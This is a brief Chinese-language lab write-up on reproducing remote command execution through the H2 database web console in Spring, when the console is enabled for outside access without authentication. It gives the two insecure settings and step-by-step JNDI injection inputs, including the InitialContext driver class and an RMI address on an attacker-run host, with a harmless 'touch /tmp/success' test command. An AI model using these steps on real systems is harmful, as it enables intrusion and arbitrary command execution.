漏洞背景
H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:
- spring.h2.console.enabled=true
- spring.h2.console.settings.web-allow-others=true
利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。
漏洞复现
我们这里需要利用JNDI注入工具来复现
下载工具后进入目录,修改config.properties
文件,将命令改为touch /tmp/success
更改保存后,启动jar程序
访问http://your_ip:8080/h2-console/
驱动类内填:
javax.naming.InitialContext
JDBC URL内填(即jar程序显示的rmi地址):
rmi://172.18.0.1:23456/BypassByEL
点击链接后,回到靶机查看